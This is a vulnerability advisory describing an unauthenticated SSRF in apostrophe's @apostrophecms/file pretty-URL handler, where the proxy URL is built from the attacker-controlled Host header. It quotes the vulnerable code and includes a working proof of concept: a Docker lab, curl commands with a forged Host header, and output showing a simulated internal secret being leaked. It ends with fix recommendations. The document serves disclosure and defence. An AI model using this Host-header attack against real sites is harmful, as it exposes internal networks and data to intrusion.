@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header

### Summary When `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw `Host` HTTP request header: ```js proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}` ``` That URL is then `fetch`'ed and the response body + headers are streamed straight back to the requester. Because `Host` is fully attacker-controlled, an **unauthenticated remote** attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralised by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0` (latest); no fixed release exists. - **Affected:** `apostrophe <= 4.30.0` when `@apostrophecms/file` is configured with `prettyUrls: true` and uploadfs is **local** (the default; S3/CDN deployments produce an absolute `uglyUrl` and are not affected). ### Details `modules/@apostrophecms/file/index.js` (excerpt; the public GET route registered when `prettyUrls: true`): ```js if (!self.options.prettyUrls) return; return { get: { async [`${self.options.prettyUrlDir}/*`](req, res) { const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/); if (!matches) return res.status(400).send('invalid'); const [ , slug ] = matches; if (slug.includes('..') || slug.includes('/')) { return res.status(403).send('forbidden'); } const file = await self.find(req, { slug: `${self.options.slugPrefix}${slug}` }).toObject(); if (!file) return res.status(404).send('not found'); const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false }); const proxyUrl = uglyUrl.startsWith('/') ? `${req.protocol}://${req.get('host')}${uglyUrl}` // <-- sink : uglyUrl; return await streamProxy(req, proxyUrl, { error: self.apos.util.error }); } } }; ``` `lib/stream-proxy.js` (excerpt): ```js module.exports = async function(req, url, { error }) { const res = req.res; if (url.startsWith('/')) url = `${req.baseUrl}${url}`; let response; try { response = await fetch(url); } // <-- attacker-steered fetch catch (e) { return send502(e); } for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) { const v = response.headers.get(header); if (v != null) res.header(header, v); } res.status(response.status); response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... })); }; ``` `req.get('host')` returns the unvalidated `Host` HTTP header from the request. Express does not validate or restrict it, and apostrophe does not check the constructed `proxyUrl` against an allowlist. The upstream's body and content-type are forwarded verbatim — so any response the targeted host does return at the constrained path will reach the attacker. In practice the path constraint (`/uploads/attachments/<cuid>-<slug>.<ext>`) and cuid uniqueness mean meaningful body exfiltration only occurs against verbose-404 / banner- leaky proxies; against most internal services this degenerates to blind SSRF (response-code + timing side channels). Prerequisites are minimal: `prettyUrls: true` (a documented production SEO option) + at least one file uploaded with a known slug. Slugs are publicly enumerable in normal CMS use (file URLs appear in page content). **Distinct from the only published apostrophe SSRF advisory, GHSA-pr28-mf3q-qpg6** ("Authenticated SSRF in rich-text widget import via @apostrophecms/area validate-widget"), which is authenticated and lives in a completely different module/route. This finding is unauthenticated, in `@apostrophecms/file`, via the `Host` header. ### PoC Three services on an isolated Docker network: `mongo`, `internal` (returns a fake secret, **never exposed to the host**), `apos:3000` (the only port the host can reach). The host attacker proves it cannot reach `internal` directly, then exfiltrates `internal`'s response via one crafted request to `apos`. `app.js` (normal apostrophe site, documented option only): ```js require('apostrophe')({ shortName: 'apos-ssrf-poc', autoBuild: false, modules: { '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } }, '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } }, '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } }, '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } }, 'poc-seed': {} // seeds one file doc on boot (= what an admin does via the upload UI) } }); ``` `docker-compose.yml`: ```yaml services: mongo: { image: mongo:7, networks: [poc] } internal: image: python:3.12-slim command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"] networks: [poc] apos: build: . environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc } depends_on: [mongo, internal] ports: ["3000:3000"] networks: [poc] networks: { poc: { driver: bridge } } ``` `exploit.sh` (unauthenticated attacker on the host): ```sh # 1. Prove the internal target is not reachable from the host curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)" # 2. ATTACK: same pretty URL, attacker-supplied Host header curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf" ``` Build & run: ```sh docker compose build && docker compose up -d && ./exploit.sh ``` Observed output (`apostrophe@4.30.0`, clean stack): ``` [probe] confirm the internal target is NOT reachable from the host: curl: (6) Could not resolve host: internal [normal] same pretty URL, normal Host header (Host: apos): HTTP=502 bytes=49 content-type=text/html; charset=utf-8 upstream media error fetching data for pretty URL [ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service: HTTP=200 bytes=64 content-type=text/plain; charset=utf-8 [ATTACK] response body received by the attacker: INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2 RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection). ``` The `internal` service is unreachable from the host, but apostrophe fetches it on the attacker's behalf and pipes the response body — secret included — straight back over the same HTTP response. ### Impact Unauthenticated remote SSRF, but the path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup on a slug the attacker already had to know). That constraint plus cuid uniqueness rules out the cases I originally listed: - **Cloud metadata is _not_ reachable** — AWS IMDS (`/latest/meta-data/...`), GCP (`/computeMetadata/v1/...`), and Azure (`/metadata/...`) all live at fixed paths that don't overlap with `/uploads/attachments/...`. Same for Redis admin, Elasticsearch, and most internal API surfaces. - **Cross-instance data exfiltration is also ruled out.** For an internal target (another apos instance, MinIO bucket, etc.) to serve a body at this path, it would need the exact local cuid + slug, which realistically only happens when the target restored / shares the public site's data — in which case the same content is reachable via the front door anyway. Apostrophe also won't construct a pretty URL for archived / restricted media, closing the older-snapshot edge case. What remains is blind-SSRF residual: - Network-topology mapping via response-code or response-time differences across internal hosts. - Banner / version disclosure from verbose reverse-proxy or WAF 404 bodies. - Bypassing network egress controls — outbound requests originate from the apostrophe server rather than the attacker. The attack requires only the public pretty-URL endpoint and one publicly-known file slug, both trivially available in normal CMS operation. ### Recommended fix Stop deriving the upstream URL from the request `Host` header. Two complementary changes: 1. In `modules/@apostrophecms/file/index.js` (the lines that build `proxyUrl`), use a server-trusted absolute base URL (e.g., `apos.baseUrl` or the configured site URL) instead of `req.get('host')`: ```js const proxyUrl = uglyUrl.startsWith('/') ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}` : uglyUrl; ``` 2. In `lib/stream-proxy.js`, enforce a strict origin allowlist (the configured apostrophe base URL + any configured CDN host) before calling `fetch`. Defence in depth: future callers of `streamProxy` cannot accidentally reintroduce the gap. A regression test that sets `Host: 169.254.169.254` (or any non-configured host) on `/files/<slug>.<ext>` and asserts the upstream `fetch` is **not** issued / the response is a 4xx would lock this down.